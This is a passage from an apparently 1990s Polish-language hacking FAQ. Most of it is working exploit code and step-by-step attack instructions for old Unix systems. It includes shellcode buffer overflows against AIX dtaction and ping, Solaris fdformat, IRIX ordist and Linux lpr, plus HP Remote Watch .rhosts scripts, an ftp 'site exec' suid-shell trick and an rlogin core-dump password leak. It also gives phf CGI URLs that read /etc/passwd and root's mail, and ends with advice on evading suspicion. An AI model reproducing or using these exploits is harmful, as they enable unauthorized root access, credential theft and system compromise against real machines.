MQF)..T^5"3.!2/OX4.UW=:ARR9BS:Y'_35D"PV]7=HWF]#:*SHIHC_%P-0;$
ML8VY3K@4HKM>O6+1]-6K"NXPYU@T2&@TPY?!)<+, ,&:)`MJ>T`N.Q)A6%G8G
MZH7:^]QC`7$F`%0R@&II^,RMIC5,2U$QS)M[6DU;8?<'V?3JIAE5C&@WXY5/
M:&ZMFEM+5D/U>ZN^^0#`Z`]5LJ#K)L>XRO^GLP59_.^T*/_K-#M%_+`6V4"H
M`XM:FAUUL8"MP8$C!>UL8L1M?>W&'P#WRXJ+W$1O7NJ;7!?'`,->QVBRY
M&^*=4>JC'B_]PH*:ZUH;A"7.8MNQ-M[W[RXDD8Q]N<DQKK)_2./_)IT$<8W]
MM]W"_U^+?/MO]^]'?SWYZ#]_^<<OC_K?_O-OO_C7G]_WG`I9GZB9?M_QO]MJ
M=O/XO]TV]N\VFH7]KT.N,6#9W*2,ZF`ELL]HM1'&2Q%D7!D&A3R$,)X.,1[&
MJ-. $IS8\7&(P89oS$[63+JJAT-M9M%RHE'?+53B;4.K3DTJA_R%#/ZK1N32,
M4(EA"&#OZ)ABS!(&3N35E(C%(TV>C`,_ "8V'G%.$KHF0P*88_\!/!X1%4*-]<
MI<2N3M@)BHXPOB5JP7`27\48G9"N&0;)FLZN4M@O##>`P;TA&$U\RP/N&2I`
MYH0I#6GH0^R^&R[/V+(&I?V#/>CM?5'*68\I,Y,B@C,KPDF$XX35(#*@'.',
M\5<(&:L*:*,9C(@T2!_X4+'0F`_H(VNGPO<#<_Z6^(E:1E`8]I/B?W/H-_1M
MTK62MW^7.-BZSA6$0>];H]ZW'O58B5SS,QZ6.9R`4>Z%F%3LB'H]/9HPBS4I
MJ-"RJNX`;&U"NEXHA*?S`$)7G)]'X)G2^&,><B5N:"-`_.]VN]^3^UF^1\7
M&Q+_VW"<=H'_ZY`[M\W9%DK36,00SED`#`^>AFB(M(@<E8^HY%/S2JH6]R82
MZB$\.QJ`J;AO?;0)7]I;E`VF@AV/O4DC[V3-RUMZ.MN*)N4=>XMRQZCK2^MS
M&NON70OA9V5D]_+OC=9ZAF[1^;3S0[>V;W+H]_WN25;3>#<UQE7VWUTY_]U
MR/[==I'_78^LVO^=Q%TQR5.3LD3/)>G'6ADLH9\O:MNVR\5$H\T`)!+Y`-PF]
MO*[9EB-SKJ* &RJ2Z>/!C*GTQ6JZF"5B4Y8,XE)_T=LN4Q]$J]DP*)'%B4%5Z
M8J.<L95E&PNSW(OG9TO(3^D)DVXATS.3)$'_V"&6DVK.? $KL, ,KMFG2/EM).
M++QTA!/H]^#1(3J$`SC&V\&O]_LP.(2]9[M[OX5=Z+_H#WI/:_#P>`"_.>X/
MJ&[0P\\7A?/^B>WZ5]I%<W<[F4@;660,E!+RHY0A77YE&'SAR!,<N+S_QIA
I"BFDD$ (**:200@HII)! "BFDD$ (**:200@HII)!URW\!8ZB%D`!0`^^`
`

```

^nd

-- CUT HERE --

Teraz, gdy masz juz to w oddzielnym pliku - wpisz:

```
$ uudecode sperl.dat; gzip -cd sperl.tgz | tar xfv -
```

Gdy pliki sie rozpakuja - wpisz "make". Przez ekran przeleci troche smiecia i w pewnym momencie pojawi sie 'bash#' lub standardowe menu, ktore pojawia sie na danym serwerze przy logowaniu (w takim wypadku wybierz w menu standardowa prace w trybie terminala, wpisz 'vt100' - czyli zrob to, co robisz zawsze przy logowaniu). W momencie gdy wyladujesz w bashu - jestes rootem! Conjoy!

56 AIX 4.1.4 - 4.2 crash : POWER

Cahya Wirawan odkryl, ze gdy uruchomisz ponizszy program tcp z konta zwyklego uzytkownika system siadzie.

```

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <netdb.h>
#include <stdio.h>

```

```

main()
{
    int sock;

```

```

struct sockaddr_in server;
struct hostent *hp;

sock = socket(AF_INET, SOCK_STREAM, 0);
/* or sock = socket(AF_INET, SOCK_STREAM, 6); */
hp = gethostbyname("localhost");
bcopy((char*)hp->h_addr, (char*)&server.sin_addr, hp->h_length);
server.sin_family = AF_INET;
server.sin_port = 23;
connect(sock, (struct sockaddr *)&server, sizeof server);
shutdown(sock, 2);
server.sin_port = 24;
connect(sock, (struct sockaddr *)&server, sizeof server);
}
-EOF-

```

Steve Campbell stworzył skrypt w pearlu wieszający połączenie
AIX 4.1.4, 4.1.5, lecz działa to również na HpUX 9.05, 10.01, 10.20

```

#!/usr/local/bin/perl5
use Socket;
socket (SOCK,AF_INET,SOCK_STREAM,0);
$iaddr = inet_aton('localhost');
$paddr = sockaddr_in('23',$iaddr);
connect SOCK,$paddr;
shutdown SOCK,2;
$paddr = sockaddr_in('24',$iaddr);
connect SOCK,$paddr;
-EOF-

```

Działanie:

Program łączy się z portem 23, zamyka go, a później łączy się z portem 24.
oto mały schemacik connect XX -> shutdown XX,2 -> connect ??
XX to porty jak { 21, 23, 79, 111, 113, 513, 514, 6000 }
port z którym łączymy się za drugim razem jest prawdopodobnie nie istotny.

57 root na AIX 4.2 : POWER

W AIX 4.2 (no i może w innych) /usr/dt/bin/dtaction posiada błąd, który
pozwala uzyskać roota. Poniżej macie exploita napisanego przez Georgi Guninski

```

-----aixdtaction.c-----
-----
DISCLAIMER

```

This program is for educational purpose ONLY. Do not use it without permission. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program. Georgi Guninski, his employer or any Internet provider bears NO responsibility for content or misuse of this program or any derivatives thereof. By using this program you accept the fact that any damage (data loss, system crash, system compromise, etc.) caused by the use of this program is not Georgi Guninski's responsibility.

In case you distribute this, please keep the disclaimer and my addresses.

```

-----
Use the IBM C compiler.
Compile with: cc -g aixdtaction.c
DISPLAY should be set.
SOLUTION: #chmod -s /usr/dt/bin/dtaction ; at least stops root shells
-----

```

Georgi Guninski
guninski@hotmail.com
<http://www.geocities.com/ResearchTriangle/1711>

Suggestions, comments and job offers are welcome!

10-JUNE-97

*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
```

```
char *prog="/usr/dt/bin/dtaction";
char *prog2="dtaction";
extern int execev();
```

```
char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
return c;
}
```

/*The program*/

```
main(int argc,char **argv,char **env)
```

```
{
```

/*The code*/

```
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
```

/* disassembly

```
7c0802a6      mfspr    r0,LR
9421fbb0      stu      SP,-1104(SP) --get stack
90010458      st       r0,1112(SP)
3c60f019      cau      r3,r0,0xf019
60632c48      lis      r3,r3,11336
90610440      st       r3,1088(SP)
3c60d002      cau      r3,r0,0xd002
60634c0c      lis      r3,r3,19468
90610444      st       r3,1092(SP)
3c602f62      cau      r3,r0,0x2f62 --'/bin/sh\x01'
6063696e      lis      r3,r3,26990
90610438      st       r3,1080(SP)
3c602f73      cau      r3,r0,0x2f73
60636801      lis      r3,r3,26625
3863ffff      addi     r3,r3,-1
9061043c      st       r3,1084(SP) --terminate with 0
30610438      lis      r3,SP,1080
7c842278      xor      r4,r4,r4      --argv=NULL
80410440      lwz      RTOC,1088(SP)
80010444      lwz      r0,1092(SP) --jump
7c0903a6      mtspr    CTR,r0
4e800420      bctr          --jump
*/
```

```
#define MAXBUF 600
```

```
unsigned int buf[MAXBUF];
```

```
unsigned int frame[MAXBUF];
```

```
unsigned int i,nop,mn=100;
```

```
int max=280;
```

```

unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
unsigned int reta; /* return address */
int corr=3400;
char *args[4];
char *newenv[8];

if (argc>1)
    corr = atoi(argv[1]);

pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;

if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
    perror("Bad parameters");
    exit(1);
}

#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code + OO + 8)=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6)=(unsigned short) ((eco >> 16) &
0x0000ffff);

reta=(unsigned) &buf[0]+corr;

for(nop=0;nop<mn;nop++)
    buf[nop]=0x4ffffb82;
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;

if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
    || !(reta && 0xff000000))
{
    perror("Return address has zero");exit(5);
}

while(i++<max)
    buf[i]=reta;
buf[i]=0;

for(i=0;i<max-1;i++)
    frame[i]=reta;
frame[i]=0;

/* 4 vars 'cause the correct one should be aligned at 4bytes boundary */
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=createvar("HOME",(char*)&frame[0]);
newenv[6]=NULL;

args[0]=prog2;
puts("Start...");/*Here we go*/
execve(prog,args,newenv);
perror("Error executing execve \n");
/*      Georgi Guninski guninski@hotmail.com
        http://www.geocities.com/ResearchTriangle/1711\*/

```

```

-brute-script-----
#!/bin/ksh
L=200
O=40
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + 96`
./a.out $L
done
-eof-

```

58 Unshadow freeBSD 2.1.0,5 HPUX 9.3 BSDI 2.1 : POWER

Roelof W. Temmingh odkrył jak zdobyć część shadowanego pliku passwd.

```

~> rlogin 127.0.0.1
Password:
Last login: Mon Feb 17 00:35:49 from localhost
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
    The Regents of the University of California.  All rights reserved.

FreeBSD 2.1.0-RELEASE (WIPS) #0: Thu Oct 17 03:37:25 SAT 1996

You have new mail.

~> ps -ax | grep rlogin
6528  ??  S      0:00.06 rlogind
6527  p1  S+     0:00.05 rlogin 127.0.0.1
6529  p1  S+     0:00.01 rlogin 127.0.0.1

~> kill -11 6529
~> ls
Brain_Box      NS             cronjobs       mail            security
Mail           News           foon           rlogin.core
~> strings rlogin.core > hasla.txt
~> vi hasla.txt

```

59 root na HP 9000 series 300/400/700/800s : POWER

Tutaj macie dwa exploicki wykorzystujace dziurke w Remote Watch.
Pozwalaja one zdobyć rootka, jeden poprzez połączenie z portem 55556,
a drugi poprzez oprogramowanie showdisk.

```

-----
#!/usr/bin/perl

# displays a problem with RemoteWatch use of /tmp to store filestuffs
# SOD - June 96

use Socket;
use FileHandle;

$SIG{'INT'} = 'dokill';
sub dokill { kill 9,$child if $child; }

STDOUT->autoflush();

sub h2cs {
    local($stuff)=@_;
    local($rv);
    while($stuff !~ /^$/) {
        $bob=$stuff;
        $bob =~ s/^(..)*$/1/;
        $stuff =~ s/^..//;
    }
}

```

```

    $rv.=chr(oct("0x${bob}"));
  }
  return $rv;
}

if (-f "./.rhosts") {
  print "./.rhosts exists!  Cannot spooge...\n";
  print "(but I can be used to make ANY root owned world writable file...)\n";
  exit;
}

print "This program will attempt to put + + into /.rhosts\n";
system("rm -rf /tmp/iconTmpUpdate");
chop($host=`hostname`);
mkdir("/tmp/iconTmpUpdate",0777);
mkdir("/tmp/iconTmpUpdate/$host",0777);
chmod(0777,"/tmp/iconTmpUpdate","/tmp/iconTmpUpdate/$host");
symlink("./.rhosts","/tmp/iconTmpUpdate/$host/done")||die "$!: cannot symlink";

$port=5556;
shift(@ARGV);
($name, $aliases, $proto) = getprotobyname('tcp');
($name, $aliases, $type, $len, $thataddr) = gethostbyname($host);
$that=pack('S n a4 x8', AF_INET, $port, $thataddr);

socket(S,PF_INET,SOCK_STREAM,$proto)|| die "socket: $!";
connect(S,$that) || die "connect: $!";
S->autoflush();

# 20 20 31 7a gives back a 0x6f(111) -- meaning WHAT exactly?
#print S h2cs("2020317a");

# 20 20 31 5a gives back 0 0 5 0xa(10) -- gah?
print S h2cs("202031");
print S chr(117);
print "Please wait";
while($c=getc(S)) {
  print ".";
}
close(S);

$n=0;
while($n++<6) {
  print "\nOK...";
  last if (-f "./.rhosts");
  sleep 1;
}
print "\n";
open(R,">>./.rhosts");
print R "+ +\n";
close(R);
print "Testing out your root shell...\n";
system("remsh $host -l root sh -i");
exit;

STDOUT->autoflush();

if ($child = fork) {
  while (<>) { print S; }
  sleep 3;
  do dokill();
} else {
  while (<S>) { print; }
}
close(S);
exit;

```

a jak nie to sprobuj tego...

```
#!/bin/ksh

# SOD (as of 06/11/96)
# same sorta bug, different file.

if [ ! -x /usr/remwatch/bin/fmon/checkcore ]
then
    echo This is an exploit for the checkcore utility internal to
    echo HP\'s Remote Watch series of programs.
    echo The checkcore utility doesn\'t appear to be on your system.
    echo Moo
    exit
fi

PGM=$*

if [ -z "${PGM}" ]
then
    PROGGIE=`basename $0`
    echo "${PROGGIE}: I will run a shell for you"
    PGM="/bin/ksh -i"
fi

TTY=`tty`

echo '#!/bin/ksh' > /tmp/find
echo "${PGM} >> ${TTY} 2>&1" >> /tmp/find
chmod 777 /tmp/find
PATH=/tmp:$PATH
export PATH
/usr/remwatch/bin/fmon/checkcore > /dev/null 2>&1
rm /tmp/find
```

60 Podmontowywanie shelli : POWER

Jezeli system zbiorow moze byc eksportowany bez ograniczen kazdy moze zdalnie sterowac plikami systemowymi lub uzytkownikow i pozniej przejac maszynie. Pomysl, mozesz zastapic .rhosts lub .forward . Komenda "showmount" pokaze co eksportujedany host.

```
%/usr/etc/showmount -e hostname
export list for hostname:
/usr hosta:hostb:hostc
/usr/local (everyone)
```

Oto przyklad

```
# showmount -e doh.victim.com

/usr                (everyone)
/export/lamer       lamer.softel.elblag.pl
/export/shit        shit95.micro$oft.com ble.ble.net.pl

{ /katalog -access=host }
```

jezeli po katalogu nie ma niczego, to oznacza to, ze mona go eksportowac z kazdego servera, w przeciwnym razie pisze kto moze eksportowac dany katalog.(jezeli idzie o szczegoly to ustawienia tej opcji znajdziesz w /etc/exports)

Ale dobra przejdzmydo naszego przykladu.

Co stad wiemy?

Po primo: kazdy moze domontowac sie do /usr

Po sekundo: /export/lamer mozna montowac tylko z softel'a itd.

Prawdopodobnie czasem mozna dowiedziec sie czy mamy dostep do read/write i czy przez domontowane konto mamt dostep superusera.

Oto co jak rozszyfrowac /etc/exports

nothing => Anyone, anywhere can mount this

"(,,)" => Anyone, anywhere can mount this

"(hostname,,)" => Anyone on that host can mount this

"(,username,)" => username on any host can mount this

"ngname (-,-,-)" => No one, no host, no NIS domain can mount this

Server's own hostname => an attacker can use a vulnerability in the portmapper so that the server thinks that a remote request is a local one

Misspellings => Regarded as an empty NetGroup

6l fdformat buffer overflow bug SunOS 5.3-5 : POWER

Bug wykorzystuje to ze fdformat chodzi jako root, przpelnia bufor no i masz roota.(Nie chce mi sie rozpisywac)

Znalezione przez Cristian Schipor.

```
----- lion25.c -----
/*
Solaris 2.5.1 - this exploited was compiled on Solaris2.4 and tested on
2.5.1
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH 364
#define EXTRA 400
#define STACK_OFFSET 704
#define SPARC_NOP 0xa61cc013

u_char sparc_shellcode[] =

"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;

u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA + 8];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode), dso=0;

if(argc > 1) dso=atoi(argv[1]);

long_p =(u_long *) buf ;
targ_addr = get_sp() - STACK_OFFSET - dso;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
```

```

char_p = (u_char *) long_p;

for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];

long_p = (u_long *) char_p;

for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ = targ_addr;

printf("Jumping to address 0x%x B[%d] E[%d] SO[%d]\n",
targ_addr, BUF_LENGTH, EXTRA, STACK_OFFSET);
execl("/bin/fdformat", "fdformat", & buf[1], (char *) 0);
perror("execl failed");
}

----- end of lion25.c -----

```

62 Jak zdobyc roota za pomoca ftp : BANAN

Najpierw skompiluj ponizszy exploit i nazwij go suidroot.c
Kompilacja gcc suidroot.c -o suidroot

```

main() {
    setuid(0);
    seteuid(0);
    system("cp /bin/sh /tmp/suidroot");
    system("chmod a+rwxs /tmp/suidroot");
}

```

Teraz stwórz skrypt o nazwie root.sh:

```

-- CUT HERE --
#!/bin/sh
exec suidroot
-- CUT HERE --

```

Teraz ftp, login anonymous, password twoj login@host.com i piszesz

```
ftp> quote site exec sh root.sh
```

Teraz wyjdź z ftp i uruchom plik /tmp/suidroot a bedziesz miał roota!!!

63 IRIX 5.3,6.2 /usr/bsg/ordist stack overflow : POWER

Stack overflow na ordist. Działa z 5.3 i 6.2 na R4k, lecz nie na R8k i R10k.

```

#include <stdlib.h>
#include <fcntl.h>

#define BUFSIZE 306
#define OFFS 800
#define ADDRS 2
#define ALIGN 2

void run(unsigned char *buf) {
    execl("/usr/bsd/ordist", "ordist", "-d", buf, "-d", buf, NULL);
    printf("execl failed\n");
}

char asmcode[] = "\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
char nop[] = "\x24\x0f\x12\x34";

unsigned long get_sp(void) {

```

```

__asm__( "or      $2,$sp,$0" );
}

/* this align stuff sux - i do know. */
main(int argc, char *argv[]) {
    char *buf, *ptr, addr[8];
    int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
    int i, noplen=strlen(nop);

    if (argc >1) bufsize=atoi(argv[1]);
    if (argc >2) offs=atoi(argv[2]);
    if (argc >3) addrs=atoi(argv[3]);
    if (argc >4) align=atoi(argv[4]);

    if (bufsize<strlen(asmcode)) {
        printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
        exit(1);
    }
    if ((buf=malloc(bufsize+ADDRS<<2+noplen+1))==NULL) {
        printf("Can't malloc\n");
        exit(1);
    }
    *(int *)addr=get_sp()+offs;
    printf("address - %p\n", *(int *)addr);

    strcpy(buf, nop);
    ptr=buf+noplen;
    buf+=noplen-bufsize % noplen;
    bufsize-=bufsize % noplen;

    for (i=0; i<bufsize; i++)
        *ptr++=nop[i % noplen];
    memcpy(ptr-strlen(asmcode), asmcode, strlen(asmcode));
    memcpy(ptr, nop, strlen(nop));
    ptr+=align;
    for (i=0; i<addrs<<2; i++)
        *ptr++=addr[i % sizeof(int)];
    *ptr=0;
    printf("total buf len - %d\n", strlen(buf));

    run(buf);
}
-eof-

```

64 AIX 3.2, 4.1 i 4.2 ping stack overflow : POWER

Bryan P. odkrył bug w pingu AIX 3.2 , 4.1 i 4.2, który pozwala na buffer overflow w /usr/sbin/ping . Ponizej macie exploit dla AIX 4.2 platformy PPC, który da wam root'a.

```

-----CUT HERE-----
/*
 *
 *   /usr/sbin/ping exploit (kinda' coded) by BeastMaster V
 *
 *   CREDITS: this is simpy a modified version of an exploit
 *   posted by Georgi Guninski (guninski@hotmail.com)
 *
 *   USAGE:
 *
 *       $ cc -o foo -g aix_ping.c
 *       $ ./foo 5100
 *       #
 *
 *
 *   HINT: Try giving ranges from 5090 through 5500
 *
 *   DISCLAIMER: use this program in a responsible manner.

```

```

*
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern int execv();

#define MAXBUF 600

unsigned int code[]={
    0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
    0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
    0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
    0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
    0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
    0x7c0903a6 , 0x4e800420, 0x0
};

char *createvar(char *name,char *value)
{
    char *c;
    int l;

    l=strlen(name)+strlen(value)+4;
    if (! (c=malloc(l))) {perror("error allocating");exit(2);};
    strcpy(c,name);
    strcat(c,"=");
    strcat(c,value);
    putenv(c);

    return c;
}

main(int argc,char **argv,char **env)
{
    unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
    int min=100, max=280;
    unsigned int return_address;
    char *newenv[8];
    char *args[4];
    int offset=5300;

    if (argc==2) offset = atoi(argv[1]);

    pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;

    *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
    *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) &
0x0000ffff);
    *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
    *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) &
0x0000ffff);

    return_address=(unsigned)&buf[0]+offset;

    for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
    strcpy((char*)&buf[nop],(char*)&code);
    i=nop+strlen( (char*) &code)/4-1;

    for(i=0;i<max-1;i++) frame[i]=return_address;
    frame[i]=0;

    newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
    newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);

```

```

newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=NULL;

args[0]="ping";
args[1]=(char*)&frame[0];
execve("/usr/sbin/ping",args,newenv);
perror("Error executing execve \n");

}
-----CUT HERE-----

```

N65 rpc.mountd : POWER

Dziala na linuxach, AIX, Ultrixach, NetBSD, OpenBSD, SunOs, Solarisie
no i pewnie na innych systemach.

Peter Deviant odkryl, ze jezeli sprobujesz zmontowac plik, ktory nie istnieje
zobaczysz cos w stylu:

```

DNA:~# mount slarti:/etc/foobar /mnt
mount: slarti:/etc/foobar failed, reason given by server: No such
file or directory
DNA:~#

```

A jezeli plik istnieje, a ty nie masz dostepu na czytanie go zobaczysz cos
w tym stylu:

```

DNA:~# mount slarti:/etc/passwd /mnt
mount: slarti:/etc/passwd failed, reason given by server: Permission denied
DNA:~#

```

Teraz pomysl , w ten sposob, mozna na nie majac zadnego dostepu do servera
sprawdzic czy ma on zainstalowany jakis program, shadow, itd. Mozna tez
sprawdzic jaka wersja danego programu jest zainstalowana (np sperl5.001)
Mozesz sprawdzic jakie dziury sa w systemie, poniewaz dowiesz sie jakie programy
sa uruchomione, a nie bedziesz musial sie nawet zalogowac!

A wszystko co admina zobaczy w logach to to:

```
Aug 24 06:57:30 DNA mountd[7220]: Access by unknown NFS client 10.9.8.2.
```

Co wlasciwie nic mu nie powie!

(Jesli nie wiesz o co chodzi w tym bugu to dowodzi to twojego kompletnego
braku wiedzy na temat budowy linuxa ;)

66 Linux 2.0.0, 2.0.30 (SW 3.0) lpr hole : POWER

a42n8k9 znalazl buffer overflow w lpr. Testowal to na BSD 4.4 i Linux 2.0.0 .
Rozmiar bufora to 1023 bajty, ktory mozna stworzyc z 1023 znakow. np:

```
lpr ffffffff.....ffff (to 1023 characters)
```

Ponizej macie exploit, ktory da wam root'a.

```

----- BEGIN HERE-----
/*
 * lpr_exploit.c - Buffer overflow exploit for the lpr program.
 * Adapted from code found in "stack smashing..." by Aleph One
 *
 *                               aleph1@underground.org
 *
 * "wisdom is knowledge passed from one to another", Thanks
 * Aleph1
 *
 * This program takes advantage of the buffer overflow condition
 * preset in lpr program. This program is meant as demonstration
 * only, and the author claims no responsibility for its use or
 * misuse. - a42n8k9
 */

#include <stdlib.h>

#define DEFAULT_OFFSET      1023

```

```

#define DEFAULT_BUFFER_SIZE    2289
#define NOP                    0x90

/*
 * The hex representation of the code to produce an interactive shell.
 * Obviously since this is for a Linux Box, you may need to generate the
 * right set for your OS if you are porting this to another UNIX system.
 */
char shellcode [] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{ __asm__("mov %esp,%eax"); }

void main(int argc, char *argv[]) {
    char *buff, *ptr;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i;

    /* set aside the memory for our shell code */
    if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
    }

    /* Get the address of our stack pointer */
    addr = get_sp() - offset;

    /* fill our buffer with its address */
    ptr = buff;
    addr_ptr = (long *)ptr;
    for(i = 0; i<bsize; i+=4)
        *(addr_ptr++) = addr;

    /* fill the first half of the buffer with NOPs */
    for(i=0;i<bsize/2;i++)
        buff[i] = NOP;

    /* add in our shell code */
    ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
    for(i=0;i<strlen(shellcode);i++)
        *(ptr++) = shellcode[i];

    /* terminate the string */
    buff[bsize - 1] = '\0';

    /* load the string into an environment variable */
    memcpy(buff, "EGG=", 4);
    putenv(buff);

    /*
     * execute the shell command, thus exploiting the overflow
     * since lpr is suid root, a root shell will be spawned
     */
    system("lpr $EGG");
}
----- END HERE -----

```

V Dziury w WWW.

1 phf - sciaganie passwd przez przeglądarkę : POWER

Jeden ze starych sposobów:

<http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd>

(dla lam: w miejsce xxx.xxx.xxx wpisujesz adres servera. który jest celem ataku np free.polbox.pl)

Jesli hasla beda shadowane(!, * itd w miejscu hasel) to mozna sprobowac /etc/shadow , ale male szanse, ze zadziala.

Ale lepiej uzyc kilku komend:

http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=

http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=

http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=

<http://thegnome.com/~someuser/passwd>

http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=

Wykonaja one cos w tym stylu:

```
id
ls -la ~someuser
cp /etc/passwd ~someuser/passwd
(normal URL access to get the passwd file)
rm ~someuser/passwd
```

W ten sposob mozna nawet probowac czytac czyjas poczte. (np admina)

<http://www.xxx.xxx.pl/cgi-bin/phf?Qalias=x%0a/bin/cat%20/usr/spool/mail/root>
/...

lub tak

<http://www.serwer.com/cgi-bin/phf.cgi?.../var/spool/mail/root>

(<http://www.serwer.com/cgi-bin/phf.cgi?.../var/spool/mail/username>)

Na stronie faq znajdziecie program, który testuje bug'a w phf(phftest.exp).

2 php - Nowa dziura znaleziona przez DIS (16-04-97) : POWER

Jest to dziura w skrypcie cgi z httpd (PHP/FI).

Pozwala ona na przeglądanie plików z servera.

a oto prosty przykład:

<http://xxx.xxx.pl/cgi-bin/php.cgi?plik/do/przejrzenia>

3 phpscan.c skaner php : POWER

Jest to program skanujący serwery pod kątem dziury w php.

phpscan domeny.txt wynik.txt

Tak jest na stronie faq ;)

4 phpget.c : POWER

Jest to program, którym poprzez php mozesz sciagnac kilka ciekawych plików:

```
/etc/passwd
/etc/hosts
/etc/services
/etc/syslogd.conf
/etc/inetd.conf
```

phpget <domena> <path do pliku>

phpget www.lamers.com /etc/passwd

5 Vito.c - tester dziur servera http : POWER (tested by wienio)

Jest to programi ktory laczy sie z serverem http poprzez port 80 i testuje server pod katem wszelkich znanych dziur w http.

Jest w tym phf, php i pare dziur w cgi.

Spis dziur znajduje sie w pliku Vito.ini, mozna go edytowac.

Jak wszystko jest na stronie faq!

----- VI Kłopoty -----

1 Podejrzenia : POWER

Opisuje tu tez co dzieje sie jak wpadniesz w kłopoty i jak sobie radzic!

- Jezeli jestes podejrzany (nie wazne czy przez policje czy administratora) to musisz podjac specjalne dzialania by wybrnac z tego gówna!
- Pamietaj, ze jesli podejrzewaja cie o hackerstwo to jestes winny dopoki nie udowodnisz niewinnosci!
